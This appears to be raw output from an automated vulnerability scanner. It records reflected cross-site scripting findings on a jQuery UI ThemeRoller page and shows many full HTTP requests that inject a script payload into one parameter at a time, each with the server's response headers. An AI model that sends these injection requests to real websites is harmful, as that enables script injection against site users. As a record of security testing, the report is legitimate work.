GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDDc6583"><script>alert(1)</script>bd50e49b25f&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:38 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the borderColorHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7663a"><script>alert(1)</script>6663ea94d2a was submitted in the borderColorHighlight parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D9367663a"><script>alert(1)</script>6663ea94d2a&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:16 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the borderColorHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98ea6"><script>alert(1)</script>bc04b692349 was submitted in the borderColorHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF98ea6"><script>alert(1)</script>bc04b692349&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:04 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the cornerRadius request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efcfe"><script>alert(1)</script>d490bc83fc4 was submitted in the cornerRadius parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7pxefcfe"><script>alert(1)</script>d490bc83fc4&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:33 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the cornerRadiusShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c97b"><script>alert(1)</script>605cd6750bd was submitted in the cornerRadiusShadow parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//*9c97b"><script>alert(1)</script>605cd6750bd HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:30 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the fcActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 75c53"><script>alert(1)</script>42cd52ca697 was submitted in the fcActive parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC75c53"><script>alert(1)</script>42cd52ca697&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:11 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the fcContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b577"><script>alert(1)</script>b9dabb1f883 was submitted in the fcContent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=6666661b577"><script>alert(1)</script>b9dabb1f883&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:51 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the fcDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c2eb"><script>alert(1)</script>b514358f553 was submitted in the fcDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF3c2eb"><script>alert(1)</script>b514358f553&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:00 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the fcError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5b02"><script>alert(1)</script>bc2004c518 was submitted in the fcError parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000d5b02"><script>alert(1)</script>bc2004c518&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:23 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120319
The value of the fcHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20da2"><script>alert(1)</script>824c2520339 was submitted in the fcHeader parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF20da2"><script>alert(1)</script>824c2520339&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:39 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the fcHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4833c"><script>alert(1)</script>da123611499 was submitted in the fcHighlight parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=3333334833c"><script>alert(1)</script>da123611499&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:17 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www4 X-Proxy: 1 Content-Length: 120322
The value of the fcHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8da82"><script>alert(1)</script>6ab60c147ab was submitted in the fcHover parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-serif&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF8da82"><script>alert(1)</script>6ab60c147ab&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_soft.png&bgImgOpacityHighlight=20&borderColorHighlight=F4D936&fcHighlight=333333&iconColorHighlight=B10000&bgColorError=FFFFFF&bgTextureError=01_flat.png&bgImgOpacityError=100&borderColorError=B10000&fcError=B10000&iconColorError=B10000&bgColorOverlay=000000&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=35&bgColorShadow=55BBDD&bgTextureShadow=01_flat.png&bgImgOpacityShadow=100&opacityShadow=100&thicknessShadow=2px&offsetTopShadow=-2px&offsetLeftShadow=-2px&cornerRadiusShadow=7px*//* HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:14:06 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 120322
The value of the ffDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbdcf"><script>alert(1)</script>709d73031ae was submitted in the ffDefault parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themeroller/?ffDefault=Lucida%20Grande,%20Lucida%20Sans%20Unicode,%20Arial,%20Verdana,%20sans-seriffbdcf"><script>alert(1)</script>709d73031ae&fwDefault=bold&fsDefault=100%&cornerRadius=7px&bgColorHeader=55BBDD&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=20&borderColorHeader=55BBDD&fcHeader=FFFFFF&iconColorHeader=FFFFFF&bgColorContent=FFFFFF&bgTextureContent=01_flat.png&bgImgOpacityContent=100&borderColorContent=CCCCCC&fcContent=666666&iconColorContent=666666&bgColorDefault=00AAFF&bgTextureDefault=03_highlight_soft.png&bgImgOpacityDefault=50&borderColorDefault=00AAFF&fcDefault=FFFFFF&iconColorDefault=FFFFFF&bgColorHover=00B3FF&bgTextureHover=03_highlight_soft.png&bgImgOpacityHover=50&borderColorHover=00B3FF&fcHover=FFFFFF&iconColorHover=FFFFFF&bgColorActive=F8F8F8&bgTextureActive=06_inset_hard.png&bgImgOpacityActive=100&borderColorActive=CCCCCC&fcActive=0055CC&iconColorActive=0055CC&bgColorHighlight=FFEC7C&bgTextureHighlight=03_highlight_